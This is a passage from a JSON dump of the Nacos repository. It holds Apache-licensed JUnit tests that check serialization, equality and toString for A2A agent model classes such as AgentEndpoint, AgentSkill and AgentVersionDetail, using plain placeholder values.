    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentCardVersionInfoTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentCardVersionInfo agentCardVersionInfo = new AgentCardVersionInfo();\n        agentCardVersionInfo.setProtocolVersion(\"1.0\");\n        agentCardVersionInfo.setName(\"test agent\");\n        agentCardVersionInfo.setDescription(\"test description\");\n        agentCardVersionInfo.setVersion(\"1.0.0\");\n        agentCardVersionInfo.setIconUrl(\"http://test.com/icon.png\");\n        agentCardVersionInfo.setLatestPublishedVersion(\"2.0.0\");\n        agentCardVersionInfo.setRegistrationType(\"URL\");\n        \n        // Create version detail\n        AgentVersionDetail versionDetail = new AgentVersionDetail();\n        versionDetail.setVersion(\"1.0.0\");\n        versionDetail.setLatest(true);\n        agentCardVersionInfo.setVersionDetails(Arrays.asList(versionDetail));\n        \n        String json = mapper.writeValueAsString(agentCardVersionInfo);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"protocolVersion\\\":\\\"1.0\\\"\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"test agent\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"iconUrl\\\":\\\"http://test.com/icon.png\\\"\"));\n        assertTrue(json.contains(\"\\\"latestPublishedVersion\\\":\\\"2.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"registrationType\\\":\\\"URL\\\"\"));\n        assertTrue(json.contains(\"\\\"versionDetails\\\":[{\\\"version\\\":\\\"1.0.0\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"protocolVersion\\\":\\\"1.0\\\",\\\"name\\\":\\\"test agent\\\",\\\"description\\\":\\\"test description\\\",\"\n                + \"\\\"version\\\":\\\"1.0.0\\\",\\\"iconUrl\\\":\\\"http://test.com/icon.png\\\",\"\n                + \"\\\"latestPublishedVersion\\\":\\\"2.0.0\\\",\\\"registrationType\\\":\\\"URL\\\",\"\n                + \"\\\"versionDetails\\\":[{\\\"version\\\":\\\"1.0.0\\\",\\\"latest\\\":true}]}\";\n        \n        AgentCardVersionInfo agentCardVersionInfo = mapper.readValue(json, AgentCardVersionInfo.class);\n        assertNotNull(agentCardVersionInfo);\n        assertEquals(\"1.0\", agentCardVersionInfo.getProtocolVersion());\n        assertEquals(\"test agent\", agentCardVersionInfo.getName());\n        assertEquals(\"test description\", agentCardVersionInfo.getDescription());\n        assertEquals(\"1.0.0\", agentCardVersionInfo.getVersion());\n        assertEquals(\"http://test.com/icon.png\", agentCardVersionInfo.getIconUrl());\n        assertEquals(\"2.0.0\", agentCardVersionInfo.getLatestPublishedVersion());\n        assertEquals(\"URL\", agentCardVersionInfo.getRegistrationType());\n        assertEquals(1, agentCardVersionInfo.getVersionDetails().size());\n        assertEquals(\"1.0.0\", agentCardVersionInfo.getVersionDetails().get(0).getVersion());\n        assertEquals(true, agentCardVersionInfo.getVersionDetails().get(0).isLatest());\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        AgentCardVersionInfo card1 = new AgentCardVersionInfo();\n        card1.setProtocolVersion(\"1.0\");\n        card1.setName(\"test agent\");\n        card1.setDescription(\"test description\");\n        card1.setVersion(\"1.0.0\");\n        card1.setIconUrl(\"http://test.com/icon.png\");\n        card1.setLatestPublishedVersion(\"2.0.0\");\n        card1.setRegistrationType(\"URL\");\n        \n        AgentCardVersionInfo card2 = new AgentCardVersionInfo();\n        card2.setProtocolVersion(\"1.0\");\n        card2.setName(\"test agent\");\n        card2.setDescription(\"test description\");\n        card2.setVersion(\"1.0.0\");\n        card2.setIconUrl(\"http://test.com/icon.png\");\n        card2.setLatestPublishedVersion(\"2.0.0\");\n        card2.setRegistrationType(\"URL\");\n        \n        AgentCardVersionInfo card3 = new AgentCardVersionInfo();\n        card3.setProtocolVersion(\"2.0\");\n        \n        assertEquals(card1, card2);\n        assertEquals(card1.hashCode(), card2.hashCode());\n        assertNotEquals(card1, card3);\n        assertNotEquals(card1.hashCode(), card3.hashCode());\n        assertNotEquals(card1, null);\n        assertNotEquals(card1, new Object());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentEndpointTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\n\nclass AgentEndpointTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentEndpoint agentEndpoint = new AgentEndpoint();\n        agentEndpoint.setAddress(\"127.0.0.1\");\n        agentEndpoint.setPort(8080);\n        agentEndpoint.setTransport(\"JSONRPC\");\n        agentEndpoint.setPath(\"/test\");\n        agentEndpoint.setSupportTls(true);\n        agentEndpoint.setVersion(\"1.0.0\");\n        agentEndpoint.setProtocol(\"HTTP\");\n        agentEndpoint.setQuery(\"param1=value1&param2=value2\");\n        \n        String json = mapper.writeValueAsString(agentEndpoint);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"address\\\":\\\"127.0.0.1\\\"\"));\n        assertTrue(json.contains(\"\\\"port\\\":8080\"));\n        assertTrue(json.contains(\"\\\"transport\\\":\\\"JSONRPC\\\"\"));\n        assertTrue(json.contains(\"\\\"path\\\":\\\"/test\\\"\"));\n        assertTrue(json.contains(\"\\\"supportTls\\\":true\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"protocol\\\":\\\"HTTP\\\"\"));\n        assertTrue(json.contains(\"\\\"query\\\":\\\"param1=value1&param2=value2\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"address\\\":\\\"127.0.0.1\\\",\\\"port\\\":8080,\\\"transport\\\":\\\"JSONRPC\\\",\"\n                + \"\\\"path\\\":\\\"/test\\\",\\\"supportTls\\\":true,\\\"version\\\":\\\"1.0.0\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"query\\\":\\\"param1=value1&param2=value2\\\"}\";\n        \n        AgentEndpoint agentEndpoint = mapper.readValue(json, AgentEndpoint.class);\n        assertNotNull(agentEndpoint);\n        assertEquals(\"127.0.0.1\", agentEndpoint.getAddress());\n        assertEquals(8080, agentEndpoint.getPort());\n        assertEquals(\"JSONRPC\", agentEndpoint.getTransport());\n        assertEquals(\"/test\", agentEndpoint.getPath());\n        assertTrue(agentEndpoint.isSupportTls());\n        assertEquals(\"1.0.0\", agentEndpoint.getVersion());\n        assertEquals(\"HTTP\", agentEndpoint.getProtocol());\n        assertEquals(\"param1=value1&param2=value2\", agentEndpoint.getQuery());\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        AgentEndpoint endpoint1 = new AgentEndpoint();\n        endpoint1.setAddress(\"127.0.0.1\");\n        endpoint1.setPort(8080);\n        endpoint1.setTransport(\"JSONRPC\");\n        endpoint1.setPath(\"/test\");\n        endpoint1.setSupportTls(true);\n        endpoint1.setVersion(\"1.0.0\");\n        endpoint1.setProtocol(\"HTTP\");\n        endpoint1.setQuery(\"param1=value1\");\n        \n        AgentEndpoint endpoint2 = new AgentEndpoint();\n        endpoint2.setAddress(\"127.0.0.1\");\n        endpoint2.setPort(8080);\n        endpoint2.setTransport(\"JSONRPC\");\n        endpoint2.setPath(\"/test\");\n        endpoint2.setSupportTls(true);\n        endpoint2.setVersion(\"1.0.0\");\n        endpoint2.setProtocol(\"HTTP\");\n        endpoint2.setQuery(\"param1=value1\");\n        \n        AgentEndpoint endpoint3 = new AgentEndpoint();\n        endpoint3.setAddress(\"127.0.0.2\");\n        endpoint3.setProtocol(\"HTTPS\");\n        endpoint3.setQuery(\"param1=value2\");\n        \n        assertEquals(endpoint1, endpoint1);\n        assertEquals(endpoint1, endpoint2);\n        assertEquals(endpoint1.hashCode(), endpoint2.hashCode());\n        assertNotEquals(endpoint1, endpoint3);\n        assertNotEquals(endpoint1.hashCode(), endpoint3.hashCode());\n        assertNotEquals(endpoint1, null);\n        assertNotEquals(endpoint1, new Object());\n    }\n    \n    @Test\n    void testSimpleEquals() {\n        AgentEndpoint endpoint1 = new AgentEndpoint();\n        endpoint1.setAddress(\"127.0.0.1\");\n        endpoint1.setPort(8080);\n        \n        AgentEndpoint endpoint2 = new AgentEndpoint();\n        endpoint2.setAddress(\"127.0.0.1\");\n        endpoint2.setPort(8080);\n        \n        AgentEndpoint endpoint3 = new AgentEndpoint();\n        endpoint3.setAddress(\"127.0.0.2\");\n        endpoint3.setPort(8080);\n        \n        AgentEndpoint endpoint4 = new AgentEndpoint();\n        endpoint4.setAddress(\"127.0.0.1\");\n        endpoint4.setPort(9090);\n        \n        assertTrue(endpoint1.simpleEquals(endpoint2));\n        assertFalse(endpoint1.simpleEquals(endpoint3));\n        assertFalse(endpoint1.simpleEquals(endpoint4));\n    }\n    \n    @Test\n    void testToString() {\n        AgentEndpoint agentEndpoint = new AgentEndpoint();\n        agentEndpoint.setAddress(\"127.0.0.1\");\n        agentEndpoint.setPort(8080);\n        agentEndpoint.setTransport(\"JSONRPC\");\n        agentEndpoint.setPath(\"/test\");\n        agentEndpoint.setSupportTls(true);\n        agentEndpoint.setVersion(\"1.0.0\");\n        agentEndpoint.setProtocol(\"HTTP\");\n        agentEndpoint.setQuery(\"param1=value1\");\n        \n        String toStringResult = agentEndpoint.toString();\n        assertNotNull(toStringResult);\n        assertTrue(toStringResult.contains(\"transport='JSONRPC'\"));\n        assertTrue(toStringResult.contains(\"address='127.0.0.1'\"));\n        assertTrue(toStringResult.contains(\"port=8080\"));\n        assertTrue(toStringResult.contains(\"path='/test'\"));\n        assertTrue(toStringResult.contains(\"supportTls=true\"));\n        assertTrue(toStringResult.contains(\"version='1.0.0'\"));\n        assertTrue(toStringResult.contains(\"protocol='HTTP'\"));\n        assertTrue(toStringResult.contains(\"query='param1=value1'\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentExtensionTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentExtensionTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentExtension agentExtension = new AgentExtension();\n        agentExtension.setUri(\"test-uri\");\n        agentExtension.setDescription(\"test description\");\n        agentExtension.setRequired(true);\n        \n        Map<String, Object> params = new HashMap<>();\n        params.put(\"param1\", \"value1\");\n        params.put(\"param2\", 123);\n        agentExtension.setParams(params);\n        \n        String json = mapper.writeValueAsString(agentExtension);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"uri\\\":\\\"test-uri\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"required\\\":true\"));\n        assertTrue(json.contains(\"\\\"params\\\":{\\\"param1\\\":\\\"value1\\\",\\\"param2\\\":123}\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"uri\\\":\\\"test-uri\\\",\\\"description\\\":\\\"test description\\\",\\\"required\\\":true,\"\n                + \"\\\"params\\\":{\\\"param1\\\":\\\"value1\\\",\\\"param2\\\":123}}\";\n        \n        AgentExtension agentExtension = mapper.readValue(json, AgentExtension.class);\n        assertNotNull(agentExtension);\n        assertEquals(\"test-uri\", agentExtension.getUri());\n        assertEquals(\"test description\", agentExtension.getDescription());\n        assertEquals(true, agentExtension.getRequired());\n        assertEquals(\"value1\", agentExtension.getParams().get(\"param1\"));\n        assertEquals(123, agentExtension.getParams().get(\"param2\"));\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        AgentExtension ext1 = new AgentExtension();\n        ext1.setUri(\"test-uri\");\n        ext1.setDescription(\"test description\");\n        ext1.setRequired(true);\n        Map<String, Object> params1 = new HashMap<>();\n        params1.put(\"param1\", \"value1\");\n        ext1.setParams(params1);\n        \n        AgentExtension ext2 = new AgentExtension();\n        ext2.setUri(\"test-uri\");\n        ext2.setDescription(\"test description\");\n        ext2.setRequired(true);\n        Map<String, Object> params2 = new HashMap<>();\n        params2.put(\"param1\", \"value1\");\n        ext2.setParams(params2);\n        \n        AgentExtension ext3 = new AgentExtension();\n        ext3.setUri(\"other-uri\");\n        \n        assertEquals(ext1, ext2);\n        assertEquals(ext1.hashCode(), ext2.hashCode());\n        assertNotEquals(ext1, ext3);\n        assertNotEquals(ext1.hashCode(), ext3.hashCode());\n        assertNotEquals(ext1, null);\n        assertNotEquals(ext1, new Object());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentInterfaceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentInterfaceTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentInterface agentInterface = new AgentInterface();\n        agentInterface.setUrl(\"http://test.com/api\");\n        agentInterface.setTransport(\"JSONRPC\");\n        \n        String json = mapper.writeValueAsString(agentInterface);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"url\\\":\\\"http://test.com/api\\\"\"));\n        assertTrue(json.contains(\"\\\"transport\\\":\\\"JSONRPC\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"url\\\":\\\"http://test.com/api\\\",\\\"transport\\\":\\\"JSONRPC\\\"}\";\n        \n        AgentInterface agentInterface = mapper.readValue(json, AgentInterface.class);\n        assertNotNull(agentInterface);\n        assertEquals(\"http://test.com/api\", agentInterface.getUrl());\n        assertEquals(\"JSONRPC\", agentInterface.getTransport());\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        AgentInterface interface1 = new AgentInterface();\n        interface1.setUrl(\"http://test.com/api\");\n        interface1.setTransport(\"JSONRPC\");\n        \n        AgentInterface interface2 = new AgentInterface();\n        interface2.setUrl(\"http://test.com/api\");\n        interface2.setTransport(\"JSONRPC\");\n        \n        AgentInterface interface3 = new AgentInterface();\n        interface3.setUrl(\"http://other.com/api\");\n        \n        assertEquals(interface1, interface2);\n        assertEquals(interface1.hashCode(), interface2.hashCode());\n        assertNotEquals(interface1, interface3);\n        assertNotEquals(interface1.hashCode(), interface3.hashCode());\n        assertNotEquals(interface1, null);\n        assertNotEquals(interface1, new Object());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentProviderTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentProviderTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentProvider agentProvider = new AgentProvider();\n        agentProvider.setOrganization(\"test-org\");\n        agentProvider.setUrl(\"http://test.org\");\n        \n        String json = mapper.writeValueAsString(agentProvider);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"organization\\\":\\\"test-org\\\"\"));\n        assertTrue(json.contains(\"\\\"url\\\":\\\"http://test.org\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"organization\\\":\\\"test-org\\\",\\\"url\\\":\\\"http://test.org\\\"}\";\n        \n        AgentProvider agentProvider = mapper.readValue(json, AgentProvider.class);\n        assertNotNull(agentProvider);\n        assertEquals(\"test-org\", agentProvider.getOrganization());\n        assertEquals(\"http://test.org\", agentProvider.getUrl());\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        AgentProvider provider1 = new AgentProvider();\n        provider1.setOrganization(\"test-org\");\n        provider1.setUrl(\"http://test.org\");\n        \n        AgentProvider provider2 = new AgentProvider();\n        provider2.setOrganization(\"test-org\");\n        provider2.setUrl(\"http://test.org\");\n        \n        AgentProvider provider3 = new AgentProvider();\n        provider3.setOrganization(\"other-org\");\n        \n        assertEquals(provider1, provider2);\n        assertEquals(provider1.hashCode(), provider2.hashCode());\n        assertNotEquals(provider1, provider3);\n        assertNotEquals(provider1.hashCode(), provider3.hashCode());\n        assertNotEquals(provider1, null);\n        assertNotEquals(provider1, new Object());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentSkillTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentSkillTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentSkill agentSkill = new AgentSkill();\n        agentSkill.setId(\"skill-1\");\n        agentSkill.setName(\"test skill\");\n        agentSkill.setDescription(\"test description\");\n        \n        List<String> tags = Arrays.asList(\"tag1\", \"tag2\");\n        agentSkill.setTags(tags);\n        \n        List<String> examples = Arrays.asList(\"example1\", \"example2\");\n        agentSkill.setExamples(examples);\n        \n        List<String> inputModes = Arrays.asList(\"text\", \"voice\");\n        agentSkill.setInputModes(inputModes);\n        \n        List<String> outputModes = Arrays.asList(\"text\", \"image\");\n        agentSkill.setOutputModes(outputModes);\n        \n        String json = mapper.writeValueAsString(agentSkill);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"id\\\":\\\"skill-1\\\"\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"test skill\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"tags\\\":[\\\"tag1\\\",\\\"tag2\\\"]\"));\n        assertTrue(json.contains(\"\\\"examples\\\":[\\\"example1\\\",\\\"example2\\\"]\"));\n        assertTrue(json.contains(\"\\\"inputModes\\\":[\\\"text\\\",\\\"voice\\\"]\"));\n        assertTrue(json.contains(\"\\\"outputModes\\\":[\\\"text\\\",\\\"image\\\"]\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"id\\\":\\\"skill-1\\\",\\\"name\\\":\\\"test skill\\\",\\\"description\\\":\\\"test description\\\",\"\n                + \"\\\"tags\\\":[\\\"tag1\\\",\\\"tag2\\\"],\\\"examples\\\":[\\\"example1\\\",\\\"example2\\\"],\"\n                + \"\\\"inputModes\\\":[\\\"text\\\",\\\"voice\\\"],\\\"outputModes\\\":[\\\"text\\\",\\\"image\\\"]}\";\n        \n        AgentSkill agentSkill = mapper.readValue(json, AgentSkill.class);\n        assertNotNull(agentSkill);\n        assertEquals(\"skill-1\", agentSkill.getId());\n        assertEquals(\"test skill\", agentSkill.getName());\n        assertEquals(\"test description\", agentSkill.getDescription());\n        assertEquals(2, agentSkill.getTags().size());\n        assertEquals(\"tag1\", agentSkill.getTags().get(0));\n        assertEquals(\"tag2\", agentSkill.getTags().get(1));\n        assertEquals(2, agentSkill.getExamples().size());\n        assertEquals(\"example1\", agentSkill.getExamples().get(0));\n        assertEquals(\"example2\", agentSkill.getExamples().get(1));\n        assertEquals(2, agentSkill.getInputModes().size());\n        assertEquals(\"text\", agentSkill.getInputModes().get(0));\n        assertEquals(\"voice\", agentSkill.getInputModes().get(1));\n        assertEquals(2, agentSkill.getOutputModes().size());\n        assertEquals(\"text\", agentSkill.getOutputModes().get(0));\n        assertEquals(\"image\", agentSkill.getOutputModes().get(1));\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        AgentSkill skill1 = new AgentSkill();\n        skill1.setId(\"skill-1\");\n        skill1.setName(\"test skill\");\n        skill1.setDescription(\"test description\");\n        skill1.setTags(Arrays.asList(\"tag1\", \"tag2\"));\n        skill1.setExamples(Arrays.asList(\"example1\", \"example2\"));\n        skill1.setInputModes(Arrays.asList(\"text\", \"voice\"));\n        skill1.setOutputModes(Arrays.asList(\"text\", \"image\"));\n        \n        AgentSkill skill2 = new AgentSkill();\n        skill2.setId(\"skill-1\");\n        skill2.setName(\"test skill\");\n        skill2.setDescription(\"test description\");\n        skill2.setTags(Arrays.asList(\"tag1\", \"tag2\"));\n        skill2.setExamples(Arrays.asList(\"example1\", \"example2\"));\n        skill2.setInputModes(Arrays.asList(\"text\", \"voice\"));\n        skill2.setOutputModes(Arrays.asList(\"text\", \"image\"));\n        \n        AgentSkill skill3 = new AgentSkill();\n        skill3.setId(\"skill-2\");\n        \n        assertEquals(skill1, skill2);\n        assertEquals(skill1.hashCode(), skill2.hashCode());\n        assertNotEquals(skill1, skill3);\n        assertNotEquals(skill1.hashCode(), skill3.hashCode());\n        assertNotEquals(skill1, null);\n        assertNotEquals(skill1, new Object());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/AgentVersionDetailTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentVersionDetailTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        AgentVersionDetail agentVersionDetail = new AgentVersionDetail();\n        agentVersionDetail.setVersion(\"1.0.0\");\n        agentVersionDetail.setCreatedAt(\"2023-01-01T00:00:00Z\");\n        agentVersionDetail.setUpdatedAt(\"2023-01-02T00:00:00Z\");\n        agentVersionDetail.setLatest(true);\n        \n        String json = mapper.writeValueAsString(agentVersionDetail);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"createdAt\\\":\\\"2023-01-01T00:00:00Z\\\"\"));\n        assertTrue(json.contains(\"\\\"updatedAt\\\":\\\"2023-01-02T00:00:00Z\\\"\"));\n        assertTrue(json.contains(\"\\\"latest\\\":true\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"version\\\":\\\"1.0.0\\\",\\\"createdAt\\\":\\\"2023-01-01T00:00:00Z\\\",\\\"updatedAt\\\":\\\"2023-01-02T00:00:00Z\\\",\\\"latest\\\":true}\";\n        \n        AgentVersionDetail agentVersionDetail = mapper.readValue(json, AgentVersionDetail.class);\n        assertNotNull(agentVersionDetail);\n        assertEquals(\"1.0.0\", agentVersionDetail.getVersion());\n        assertEquals(\"2023-01-01T00:00:00Z\", agentVersionDetail.getCreatedAt());\n        assertEquals(\"2023-01-02T00:00:00Z\", agentVersionDetail.getUpdatedAt());\n        assertEquals(true, agentVersionDetail.isLatest());\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        AgentVersionDetail version1 = new AgentVersionDetail();\n        version1.setVersion(\"1.0.0\");\n        version1.setCreatedAt(\"2023-01-01T00:00:00Z\");\n        version1.setUpdatedAt(\"2023-01-02T00:00:00Z\");\n        version1.setLatest(true);\n        \n        AgentVersionDetail version2 = new AgentVersionDetail();\n        version2.setVersion(\"1.0.0\");\n        version2.setCreatedAt(\"2023-01-01T00:00:00Z\");\n        version2.setUpdatedAt(\"2023-01-02T00:00:00Z\");\n        version2.setLatest(true);\n        \n        AgentVersionDetail version3 = new AgentVersionDetail();\n        version3.setVersion(\"2.0.0\");\n        \n        assertEquals(version1, version2);\n        assertEquals(version1.hashCode(), version2.hashCode());\n        assertNotEquals(version1, version3);\n        assertNotEquals(version1.hashCode(), version3.hashCode());\n        assertNotEquals(version1, null);\n        assertNotEquals(version1, new Object());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/a2a/SecuritySchemeTest.java",
